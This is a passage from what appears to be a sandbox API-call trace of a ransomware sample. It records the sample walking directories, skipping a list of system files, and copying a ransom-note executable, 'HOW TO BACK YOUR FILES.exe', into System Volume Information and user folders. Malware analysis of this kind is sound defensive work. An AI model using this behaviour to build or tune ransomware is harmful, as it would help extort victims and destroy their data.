hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x764e1420, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xa0c57260, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa0c57260, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="OnlineMetadataCache", cAlternateFileName="ONLINE~1")) returned 1 [0049.361] lstrcmpiW (lpString1="OnlineMetadataCache", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0049.361] lstrcmpiW (lpString1="OnlineMetadataCache", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0049.361] lstrcmpiW (lpString1="OnlineMetadataCache", lpString2=".") returned 1 [0049.361] lstrcmpiW (lpString1="OnlineMetadataCache", lpString2="..") returned 1 [0049.361] lstrcmpiW (lpString1="OnlineMetadataCache", lpString2="windows") returned -1 [0049.361] lstrcmpiW (lpString1="OnlineMetadataCache", lpString2="bootmgr") returned 1 [0049.361] lstrcmpiW (lpString1="OnlineMetadataCache", lpString2="temp") returned -1 [0049.361] lstrcmpiW (lpString1="OnlineMetadataCache", lpString2="pagefile.sys") returned -1 [0049.361] lstrcmpiW (lpString1="OnlineMetadataCache", lpString2="boot") returned 1 [0049.361] lstrcmpiW (lpString1="OnlineMetadataCache", lpString2="ids.txt") returned 1 [0049.361] lstrcmpiW (lpString1="OnlineMetadataCache", lpString2="ntuser.dat") returned 1 [0049.361] lstrcmpiW (lpString1="OnlineMetadataCache", lpString2="perflogs") returned -1 [0049.361] lstrcmpiW (lpString1="OnlineMetadataCache", lpString2="MSBuild") returned 1 [0049.361] lstrlenW (lpString="OnlineMetadataCache") returned 19 [0049.361] lstrcpyW (in: lpString1=0x241e88a, lpString2="OnlineMetadataCache" | out: lpString1="OnlineMetadataCache") returned="OnlineMetadataCache" [0049.361] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x50c230 [0049.361] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x6a) returned 0x52d570 [0049.361] lstrcatW (in: lpString1="OnlineMetadataCache", lpString2="\\" | out: lpString1="OnlineMetadataCache\\") returned="OnlineMetadataCache\\" [0049.361] lstrcatW (in: lpString1="OnlineMetadataCache\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="OnlineMetadataCache\\HOW TO BACK YOUR FILES.exe") returned="OnlineMetadataCache\\HOW TO BACK YOUR FILES.exe" [0049.361] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\System Volume Information\\SPP\\OnlineMetadataCache\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\system volume information\\spp\\onlinemetadatacache\\how to back your files.exe"), bFailIfExists=1) returned 1 [0049.416] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x818235c0, ftCreationTime.dwHighDateTime=0x1d2fafa, ftLastAccessTime.dwLowDateTime=0x67d8de60, ftLastAccessTime.dwHighDateTime=0x1d305f6, ftLastWriteTime.dwLowDateTime=0x67d8de60, ftLastWriteTime.dwHighDateTime=0x1d305f6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="SppCbsHiveStore", cAlternateFileName="SPPCBS~1")) returned 1 [0049.416] lstrcmpiW (lpString1="SppCbsHiveStore", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0049.416] lstrcmpiW (lpString1="SppCbsHiveStore", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0049.416] lstrcmpiW (lpString1="SppCbsHiveStore", lpString2=".") returned 1 [0049.416] lstrcmpiW (lpString1="SppCbsHiveStore", lpString2="..") returned 1 [0049.416] lstrcmpiW (lpString1="SppCbsHiveStore", lpString2="windows") returned -1 [0049.416] lstrcmpiW (lpString1="SppCbsHiveStore", lpString2="bootmgr") returned 1 [0049.416] lstrcmpiW (lpString1="SppCbsHiveStore", lpString2="temp") returned -1 [0049.416] lstrcmpiW (lpString1="SppCbsHiveStore", lpString2="pagefile.sys") returned 1 [0049.416] lstrcmpiW (lpString1="SppCbsHiveStore", lpString2="boot") returned 1 [0049.416] lstrcmpiW (lpString1="SppCbsHiveStore", lpString2="ids.txt") returned 1 [0049.416] lstrcmpiW (lpString1="SppCbsHiveStore", lpString2="ntuser.dat") returned 1 [0049.416] lstrcmpiW (lpString1="SppCbsHiveStore", lpString2="perflogs") returned 1 [0049.416] lstrcmpiW (lpString1="SppCbsHiveStore", lpString2="MSBuild") returned 1 [0049.416] lstrlenW (lpString="SppCbsHiveStore") returned 15 [0049.416] lstrcpyW (in: lpString1=0x241e88a, lpString2="SppCbsHiveStore" | out: lpString1="SppCbsHiveStore") returned="SppCbsHiveStore" [0049.416] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x50add0 [0049.416] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x62) returned 0x52e7b0 [0049.416] lstrcatW (in: lpString1="SppCbsHiveStore", lpString2="\\" | out: lpString1="SppCbsHiveStore\\") returned="SppCbsHiveStore\\" [0049.416] lstrcatW (in: lpString1="SppCbsHiveStore\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="SppCbsHiveStore\\HOW TO BACK YOUR FILES.exe") returned="SppCbsHiveStore\\HOW TO BACK YOUR FILES.exe" [0049.416] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\System Volume Information\\SPP\\SppCbsHiveStore\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\system volume information\\spp\\sppcbshivestore\\how to back your files.exe"), bFailIfExists=1) returned 1 [0049.419] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x8178b040, ftCreationTime.dwHighDateTime=0x1d2fafa, ftLastAccessTime.dwLowDateTime=0x67ebe960, ftLastAccessTime.dwHighDateTime=0x1d305f6, ftLastWriteTime.dwLowDateTime=0x67ebe960, ftLastWriteTime.dwHighDateTime=0x1d305f6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="SppGroupCache", cAlternateFileName="SPPGRO~1")) returned 1 [0049.419] lstrcmpiW (lpString1="SppGroupCache", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0049.419] lstrcmpiW (lpString1="SppGroupCache", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0049.419] lstrcmpiW (lpString1="SppGroupCache", lpString2=".") returned 1 [0049.419] lstrcmpiW (lpString1="SppGroupCache", lpString2="..") returned 1 [0049.419] lstrcmpiW (lpString1="SppGroupCache", lpString2="windows") returned -1 [0049.419] lstrcmpiW (lpString1="SppGroupCache", lpString2="bootmgr") returned 1 [0049.419] lstrcmpiW (lpString1="SppGroupCache", lpString2="temp") returned -1 [0049.419] lstrcmpiW (lpString1="SppGroupCache", lpString2="pagefile.sys") returned 1 [0049.419] lstrcmpiW (lpString1="SppGroupCache", lpString2="boot") returned 1 [0049.419] lstrcmpiW (lpString1="SppGroupCache", lpString2="ids.txt") returned 1 [0049.419] lstrcmpiW (lpString1="SppGroupCache", lpString2="ntuser.dat") returned 1 [0049.419] lstrcmpiW (lpString1="SppGroupCache", lpString2="perflogs") returned 1 [0049.419] lstrcmpiW (lpString1="SppGroupCache", lpString2="MSBuild") returned 1 [0049.419] lstrlenW (lpString="SppGroupCache") returned 13 [0049.419] lstrcpyW (in: lpString1=0x241e88a, lpString2="SppGroupCache" | out: lpString1="SppGroupCache") returned="SppGroupCache" [0049.419] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x50ade8 [0049.419] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x5e) returned 0x5240f0 [0049.419] lstrcatW (in: lpString1="SppGroupCache", lpString2="\\" | out: lpString1="SppGroupCache\\") returned="SppGroupCache\\" [0049.419] lstrcatW (in: lpString1="SppGroupCache\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="SppGroupCache\\HOW TO BACK YOUR FILES.exe") returned="SppGroupCache\\HOW TO BACK YOUR FILES.exe" [0049.419] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\System Volume Information\\SPP\\SppGroupCache\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\system volume information\\spp\\sppgroupcache\\how to back your files.exe"), bFailIfExists=1) returned 1 [0049.423] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x8178b040, ftCreationTime.dwHighDateTime=0x1d2fafa, ftLastAccessTime.dwLowDateTime=0x67ebe960, ftLastAccessTime.dwHighDateTime=0x1d305f6, ftLastWriteTime.dwLowDateTime=0x67ebe960, ftLastWriteTime.dwHighDateTime=0x1d305f6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="SppGroupCache", cAlternateFileName="SPPGRO~1")) returned 0 [0049.423] FindClose (in: hFindFile=0x529410 | out: hFindFile=0x529410) returned 1 [0049.423] ReleaseMutex (hMutex=0xec) returned 1 [0049.423] CloseHandle (hObject=0xec) returned 1 [0049.424] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz" [0049.424] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50f838 | out: hHeap=0x4f0000) returned 1 [0049.424] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50c248 | out: hHeap=0x4f0000) returned 1 [0049.424] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 29 [0049.424] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\55B6929903234D6AF9CB0A326F0F49F7") returned 0xec [0049.424] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0049.424] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz" [0049.424] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0049.424] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\how to back your files.exe"), bFailIfExists=1) returned 0 [0049.424] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0049.424] GetLastError () returned 0x0 [0049.424] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0049.424] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x532d08 [0049.424] ReadFile (in: hFile=0xf4, lpBuffer=0x532d08, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x532d08*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0049.425] CloseHandle (hObject=0xf4) returned 1 [0049.425] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x532d08 | out: hHeap=0x4f0000) returned 1 [0049.425] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0049.425] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28c670c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xbcea9ec0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbcea9ec0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529410 [0049.425] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0049.426] lstrcmpiW (lpString1=".", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0049.426] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0049.426] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28c670c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xbcea9ec0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbcea9ec0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0049.426] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0049.426] lstrcmpiW (lpString1="..", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0049.426] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0049.426] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0049.426] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xbcdeb7e0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbcdeb7e0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="AppData", cAlternateFileName="")) returned 1 [0049.426] lstrcmpiW (lpString1="AppData", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0049.426] lstrcmpiW (lpString1="AppData", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0049.426] lstrcmpiW (lpString1="AppData", lpString2=".") returned 1 [0049.426] lstrcmpiW (lpString1="AppData", lpString2="..") returned 1 [0049.426] lstrcmpiW (lpString1="AppData", lpString2="windows") returned -1 [0049.426] lstrcmpiW (lpString1="AppData", lpString2="bootmgr") returned -1 [0049.426] lstrcmpiW (lpString1="AppData", lpString2="temp") returned -1 [0049.426] lstrcmpiW (lpString1="AppData", lpString2="pagefile.sys") returned -1 [0049.426] lstrcmpiW (lpString1="AppData", lpString2="boot") returned -1 [0049.426] lstrcmpiW (lpString1="AppData", lpString2="ids.txt") returned -1 [0049.426] lstrcmpiW (lpString1="AppData", lpString2="ntuser.dat") returned -1 [0049.426] lstrcmpiW (lpString1="AppData", lpString2="perflogs") returned -1 [0049.426] lstrcmpiW (lpString1="AppData", lpString2="MSBuild") returned -1 [0049.426] lstrlenW (lpString="AppData") returned 7 [0049.426] lstrcpyW (in: lpString1=0x241e884, lpString2="AppData" | out: lpString1="AppData") returned="AppData" [0049.426] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x50c248 [0049.426] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x4c) returned 0x516528 [0049.426] lstrcatW (in: lpString1="AppData", lpString2="\\" | out: lpString1="AppData\\") returned="AppData\\" [0049.426] lstrcatW (in: lpString1="AppData\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="AppData\\HOW TO BACK YOUR FILES.exe") returned="AppData\\HOW TO BACK YOUR FILES.exe" [0049.426] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\how to back your files.exe"), bFailIfExists=1) returned 0 [0049.427] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x29103b60, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x29103b60, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x29103b60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Application Data", cAlternateFileName="APPLIC~1")) returned 1 [0049.427] lstrcmpiW (lpString1="Application Data", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0049.427] lstrcmpiW (lpString1="Application Data", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0049.427] lstrcmpiW (lpString1="Application Data", lpString2=".") returned 1 [0049.427] lstrcmpiW (lpString1="Application Data", lpString2="..") returned 1 [0049.427] lstrcmpiW (lpString1="Application Data", lpString2="windows") returned -1 [0049.427] lstrcmpiW (lpString1="Application Data", lpString2="bootmgr") returned -1 [0049.427] lstrcmpiW (lpString1="Application Data", lpString2="temp") returned -1 [0049.427] lstrcmpiW (lpString1="Application Data", lpString2="pagefile.sys") returned -1 [0049.427] lstrcmpiW (lpString1="Application Data", lpString2="boot") returned -1 [0049.427] lstrcmpiW (lpString1="Application Data", lpString2="ids.txt") returned -1 [0049.427] lstrcmpiW (lpString1="Application Data", lpString2="ntuser.dat") returned -1 [0049.427] lstrcmpiW (lpString1="Application Data", lpString2="perflogs") returned -1 [0049.427] lstrcmpiW (lpString1="Application Data", lpString2="MSBuild") returned -1 [0049.427] lstrlenW (lpString="Application Data") returned 16 [0049.427] lstrcpyW (in: lpString1=0x241e884, lpString2="Application Data" | out: lpString1="Application Data") returned="Application Data" [0049.427] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x50ae00 [0049.427] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x5e) returned 0x524158 [0049.427] lstrcatW (in: lpString1="Application Data", lpString2="\\" | out: lpString1="Application Data\\") returned="Application Data\\" [0049.427] lstrcatW (in: lpString1="Application Data\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Application Data\\HOW TO BACK YOUR FILES.exe") returned="Application Data\\HOW TO BACK YOUR FILES.exe" [0049.427] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Application Data\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\application data\\how to back your files.exe"), bFailIfExists=1) returned 0 [0049.428] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xbcdeb7e0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbcdeb7e0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Contacts", cAlternateFileName="")) returned 1 [0049.428] lstrcmpiW (lpString1="Contacts", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0049.428] lstrcmpiW (lpString1="Contacts", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0049.428] lstrcmpiW (lpString1="Contacts", lpString2=".") returned 1 [0049.428] lstrcmpiW (lpString1="Contacts", lpString2="..") returned 1 [0049.428] lstrcmpiW (lpString1="Contacts", lpString2="windows") returned -1 [0049.428] lstrcmpiW (lpString1="Contacts", lpString2="bootmgr") returned 1 [0049.428] lstrcmpiW (lpString1="Contacts", lpString2="temp") returned -1 [0049.428] lstrcmpiW (lpString1="Contacts", lpString2="pagefile.sys") returned -1 [0049.428] lstrcmpiW (lpString1="Contacts", lpString2="boot") returned 1 [0049.428] lstrcmpiW (lpString1="Contacts", lpString2="ids.txt") returned -1 [0049.428] lstrcmpiW (lpString1="Contacts", lpString2="ntuser.dat") returned -1 [0049.428] lstrcmpiW (lpString1="Contacts", lpString2="perflogs") returned -1 [0049.428] lstrcmpiW (lpString1="Contacts", lpString2="MSBuild") returned -1 [0049.428] lstrlenW (lpString="Contacts") returned 8 [0049.428] lstrcpyW (in: lpString1=0x241e884, lpString2="Contacts" | out: lpString1="Contacts") returned="Contacts" [0049.428] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x50ae18 [0049.428] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x4e) returned 0x516580 [0049.428] lstrcatW (in: lpString1="Contacts", lpString2="\\" | out: lpString1="Contacts\\") returned="Contacts\\" [0049.428] lstrcatW (in: lpString1="Contacts\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Contacts\\HOW TO BACK YOUR FILES.exe") returned="Contacts\\HOW TO BACK YOUR FILES.exe" [0049.429] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\contacts\\how to back your files.exe"), bFailIfExists=1) returned 0 [0049.429] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x29103b60, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x29103b60, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x29103b60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Cookies", cAlternateFileName="")) returned 1 [0049.429] lstrcmpiW (lpString1="Cookies", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0049.429] lstrcmpiW (lpString1="Cookies", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0049.429] lstrcmpiW (lpString1="Cookies", lpString2=".") returned 1 [0049.429] lstrcmpiW (lpString1="Cookies", lpString2="..") returned 1 [0049.429] lstrcmpiW (lpString1="Cookies", lpString2="windows") returned -1 [0049.429] lstrcmpiW (lpString1="Cookies", lpString2="bootmgr") returned 1 [0049.429] lstrcmpiW (lpString1="Cookies", lpString2="temp") returned -1 [0049.429] lstrcmpiW (lpString1="Cookies", lpString2="pagefile.sys") returned -1 [0049.429] lstrcmpiW (lpString1="Cookies", lpString2="boot") returned 1 [0049.429] lstrcmpiW (lpString1="Cookies", lpString2="ids.txt") returned -1 [0049.429] lstrcmpiW (lpString1="Cookies", lpString2="ntuser.dat") returned -1 [0049.429] lstrcmpiW (lpString1="Cookies", lpString2="perflogs") returned -1 [0049.429] lstrcmpiW (lpString1="Cookies", lpString2="MSBuild") returned -1 [0049.429] lstrlenW (lpString="Cookies") returned 7 [0049.429] lstrcpyW (in: lpString1=0x241e884, lpString2="Cookies" | out: lpString1="Cookies") returned="Cookies" [0049.429] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x50ae30 [0049.429] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x4c) returned 0x5165d8 [0049.429] lstrcatW (in: lpString1="Cookies", lpString2="\\" | out: lpString1="Cookies\\") returned="Cookies\\" [0049.429] lstrcatW (in: lpString1="Cookies\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Cookies\\HOW TO BACK YOUR FILES.exe") returned="Cookies\\HOW TO BACK YOUR FILES.exe" [0049.429] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Cookies\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\cookies\\how to back your files.exe"), bFailIfExists=1) returned 0 [0049.430] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xbce11940, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbce11940, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Desktop", cAlternateFileName="")) returned 1 [0049.430] lstrcmpiW (lpString1="Desktop", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0049.430] lstrcmpiW (lpString1="Desktop", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0049.430] lstrcmpiW (lpString1="Desktop", lpString2=".") returned 1 [0049.430] lstrcmpiW (lpString1="Desktop", lpString2="..") returned 1 [0049.430] lstrcmpiW (lpString1="Desktop", lpString2="windows") returned -1 [0049.430] lstrcmpiW (lpString1="Desktop", lpString2="bootmgr") returned 1 [0049.430] lstrcmpiW (lpString1="Desktop", lpString2="temp") returned -1 [0049.430] lstrcmpiW (lpString1="Desktop", lpString2="pagefile.sys") returned -1 [0049.430] lstrcmpiW (lpString1="Desktop", lpString2="boot") returned 1 [0049.430] lstrcmpiW (lpString1="Desktop", lpString2="ids.txt") returned -1 [0049.430] lstrcmpiW (lpString1="Desktop", lpString2="ntuser.dat") returned -1 [0049.430] lstrcmpiW (lpString1="Desktop", lpString2="perflogs") returned -1 [0049.430] lstrcmpiW (lpString1="Desktop", lpString2="MSBuild") returned -1 [0049.430] lstrlenW (lpString="Desktop") returned 7 [0049.430] lstrcpyW (in: lpString1=0x241e884, lpString2="Desktop" | out: lpString1="Desktop") returned="Desktop" [0049.430] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x50ae48 [0049.430] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x4c) returned 0x516630 [0049.430] lstrcatW (in: lpString1="Desktop", lpString2="\\" | out: lpString1="Desktop\\") returned="Desktop\\" [0049.430] lstrcatW (in: lpString1="Desktop\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Desktop\\HOW TO BACK YOUR FILES.exe") returned="Desktop\\HOW TO BACK YOUR FILES.exe" [0049.431] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\how to back your files.exe"), bFailIfExists=1) returned 0 [0049.431] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xbce11940, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbce11940, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Documents", cAlternateFileName="DOCUME~1")) returned 1 [0049.431] lstrcmpiW (lpString1="Documents", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0049.431] lstrcmpiW (lpString1="Documents", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 